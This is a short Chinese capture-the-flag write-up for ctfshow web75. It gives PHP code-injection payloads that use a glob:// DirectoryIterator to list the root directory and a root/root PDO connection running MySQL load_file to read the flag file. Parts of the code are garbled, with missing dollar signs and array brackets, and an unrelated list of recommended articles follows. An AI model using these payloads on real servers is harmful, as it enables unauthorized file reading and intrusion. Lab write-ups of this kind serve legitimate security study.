ctfshow web75

开启环境:

先直接用伪协议获取 flag 位置

c=?><?php a=new DirectoryIterator("glob:///\*"); foreach(a as f) {echo(f->__toString().' ');} exit(0); ?>

c=try {dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach(dbh->query('select load_file("/flag36.txt")') as row){echo(row0)."|"; }dbh = null;}catch (PDOException e) {echo $e->getMessage();exit(0);}exit(0);

try {

创建 PDO 实例, 连接 MySQL 数据库

$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');

在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。

foreach(dbh-\>query('select load_file("/flag36.txt")') as row) {

echo($row0)."|";

}

$dbh = null;

}

catch (PDOException $e) {

echo $e->getMessage();exit(0);

}

exit(0);

相关推荐
码农coding19 分钟前
android 12 中的VSYNC的请求
android
YF021133 分钟前
详解Android所有文件访问权限
android
时间的拾荒人2 小时前
MySQL C语言连接 - 从入门到实战
android·c语言·mysql
Meteors.2 小时前
Android性能优化:01. 指标体系 + 分析工具链
android
jike_20263 小时前
安卓平台免费录音转文字工具深度测评:5 款 APP 功能对比与选型指南
android·智能电视
Code Man4 小时前
Windows 下使用 Appium
android·windows·appium
码农coding4 小时前
android 12 中的VSYNC接收
android
GitLqr4 小时前
Flutter 3.44 性能飞跃:深度解析 Android Platform View 的 HCPP 新特性
android·flutter·性能优化
码农coding4 小时前
android 12 SurfaceFlinger中的CompositionEngine
android
灯澜忆梦5 小时前
GO_网络编程---文件传输实战
网络·golang·php